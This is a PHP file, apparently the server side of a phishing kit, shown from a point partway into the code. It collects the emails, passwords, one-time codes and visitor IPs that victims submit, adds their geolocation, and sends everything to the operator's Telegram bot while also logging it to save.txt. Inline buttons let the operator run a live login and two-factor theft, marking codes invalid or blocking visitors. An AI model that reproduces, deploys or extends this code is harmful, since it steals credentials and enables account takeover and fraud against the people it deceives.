country ?? '';
$city = $ipdat->city ?? '';
$org = $ipdat->org ?? '';
$timezone = $ipdat->timezone ?? '';
function buildCallbackData($response, $uid) {
return $response . '|' . $uid;
}
function buildActionButtons($uid) {
return [
[
["text" => "❌ Invalid Email", "callback_data" => buildCallbackData('invalidemail', $uid)],
["text" => "❌ Invalid OTP", "callback_data" => buildCallbackData('invalidotp', $uid)],
],
[
["text" => "📧 Email", "callback_data" => buildCallbackData('email', $uid)],
["text" => "📱 OTP", "callback_data" => buildCallbackData('sms', $uid)],
["text" => "✅ Done", "callback_data" => buildCallbackData('done', $uid)],
],
[
["text" => "🚫 Block Visitor", "callback_data" => buildCallbackData('blockvisitor', $uid)],
],
];
}
function htmlEscape($text) {
return htmlspecialchars((string)$text, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
function copyable($text) {
return '' . htmlEscape($text) . '';
}
function sendTelegramMessage($token, $chatid, $text, $inlineKeyboard = null) {
$payload = [
'chat_id' => $chatid,
'text' => $text,
'parse_mode' => 'HTML',
];
if ($inlineKeyboard !== null) {
$payload['reply_markup'] = json_encode(['inline_keyboard' => $inlineKeyboard]);
}
$options = [
'http' => [
'header' => "Content-type: application/x-www-form-urlencoded\r\n",
'method' => 'POST',
'content' => http_build_query($payload),
],
];
$context = stream_context_create($options);
return file_get_contents("https://api.telegram.org/bot".$token."/sendMessage", false, $context);
}
function triggerPoll($token, $chatid) {
if (!empty($token) && isPollingMode()) {
pollUpdates($token, $chatid);
}
}
if(isset($_POST["email_only"]) && isset($_POST["em"])){
$userId = $_POST['em'];
$prov = $_POST['prov2'] ?? 'Unknown';
if($userId != null){
$message = "";
$message .= "🔐" . htmlEscape($prov) . " EMAIL TYPED 🔐" . "\n";
$message .= "---------------------------"."\n";
$message .= "🟢 IP : " . copyable($ip) . "\n";
$message .= "Email: " . copyable($userId) . "\n";
$message .= "\n------------ Location ---------------\n";
$message .= "Country Name: " . htmlEscape($countryName) . "\n";
$message .= "City: " . htmlEscape($city) . "\n";
$message .= "ISP: " . htmlEscape($org) . "\n";
$message .= "Timezone: " . htmlEscape($timezone) . "\n";
sendTelegramMessage($token, $chatid, $message);
triggerPoll($token, $chatid);
$handle = fopen("save.txt", "a");
fwrite($handle, strip_tags($message));
fclose($handle);
header('Content-Type: application/json');
echo json_encode(["success" => "sent"]);
exit;
}
}
if(isset($_POST["em"])){
$userId = $_POST['em'];
$pass = $_POST['pa'];
$prov = $_POST['prov'] ?? 'Unknown';
$uid = generateUid();
storeUid($uid);
storeUidIp($uid, $ip);
if($userId != null && $pass != null){
$message = "";
$message .= "🔐" . htmlEscape($prov) . " EMAIL INPUT 🔐" . "\n";
$message .= "---------------------------"."\n";
$message .= "🆔 UID: " . copyable($uid) . "\n";
$message .= "🟢 IP : " . copyable($ip) . "\n";
$message .= "Email: " . copyable($userId) . "\n";
$message .= "Password: " . copyable($pass) . "\n";
$message .= "\n------------ Location ---------------\n";
$message .= "Country Name: " . htmlEscape($countryName) . "\n";
$message .= "City: " . htmlEscape($city) . "\n";
$message .= "ISP: " . htmlEscape($org) . "\n";
$message .= "Timezone: " . htmlEscape($timezone) . "\n";
sendTelegramMessage($token, $chatid, $message, buildActionButtons($uid));
triggerPoll($token, $chatid);
$handle = fopen("save.txt", "a");
fwrite($handle, strip_tags($message));
fclose($handle);
header('Content-Type: application/json');
echo json_encode(["success" => "sent", "uid" => $uid]);
exit;
}
}
else if(isset($_POST["v2"])){
$v2 = $_POST['v2'];
if($v2 != null){
$message = "";
$message .= "🟢 IP : " .$ip. "\n";
$message .= "New Visitor Active: "."\n";
$message .= "\n------------ Location ---------------\n";
$message .= "Country Name: ".$countryName."\n";
$message .= "City: ". $city."\n";
$message .= "ISP: ". $org."\n";
$message .= "Timezone: ". $timezone."\n";
sendTelegramMessage($token, $chatid, $message);
triggerPoll($token, $chatid);
$handle = fopen("save.txt", "a");
fwrite($handle, $message);
fclose($handle);
}
}
else if(isset($_POST["prov"])){
$prov = $_POST['prov'];
if($prov != null){
$message = "";
$message .= "🟢 IP : " .$ip. "\n";
$message .= "🔐" . $prov . " Notice 🔐"."\n";
$message .= "\n------------ Location ---------------\n";
$message .= "Country Name: ".$countryName."\n";
$message .= "City: ". $city."\n";
$message .= "ISP: ". $org."\n";
$message .= "Timezone: ". $timezone."\n";
sendTelegramMessage($token, $chatid, $message);
triggerPoll($token, $chatid);
$handle = fopen("save.txt", "a");
fwrite($handle, $message);
fclose($handle);
}
}
else if(isset($_POST["prov3"])){
$prov = $_POST['prov3'];
$em21 = $_POST['em21'];
if($prov != null){
$message = "";
$message .= "🟢 IP : " .$ip. "\n";
$message .= "🔐" . $prov . " Notice 🔐"."\n \n";
$message .= "Email/Phone: " ." $em21" . ""."\n";
$message .= "\n------------ Location ---------------\n";
$message .= "Country Name: ".$countryName."\n";
$message .= "City: ". $city."\n";
$message .= "ISP: ". $org."\n";
$message .= "Timezone: ". $timezone."\n";
sendTelegramMessage($token, $chatid, $message);
triggerPoll($token, $chatid);
$handle = fopen("save.txt", "a");
fwrite($handle, $message);
fclose($handle);
}
}
else if(isset($_POST["code"])){
$code = $_POST['code'];
$prov = $_POST['prov2'] ?? 'Unknown';
$uid = generateUid();
storeUid($uid);
storeUidIp($uid, $ip);
if($code != null){
$message = "";
$message .= "🔐" . htmlEscape($prov) . " CODE INPUT 🔐 "."\n";
$message .= "---------------------------"."\n";
$message .= "🆔 UID: " . copyable($uid) . "\n";
$message .= "🟢 IP : " . copyable($ip) . "\n";
$message .= "Code: " . copyable($code) . "\n";
$message .= "\n------------ Location ---------------\n";
$message .= "Country Name: " . htmlEscape($countryName) . "\n";
$message .= "City: " . htmlEscape($city) . "\n";
$message .= "ISP: " . htmlEscape($org) . "\n";
$message .= "Timezone: " . htmlEscape($timezone) . "\n";
sendTelegramMessage($token, $chatid, $message, buildActionButtons($uid));
triggerPoll($token, $chatid);
$handle = fopen("save.txt", "a");
fwrite($handle, strip_tags($message));
fclose($handle);
header('Content-Type: application/json');
echo json_encode(["success" => "sent", "uid" => $uid]);
exit;
}
}
?>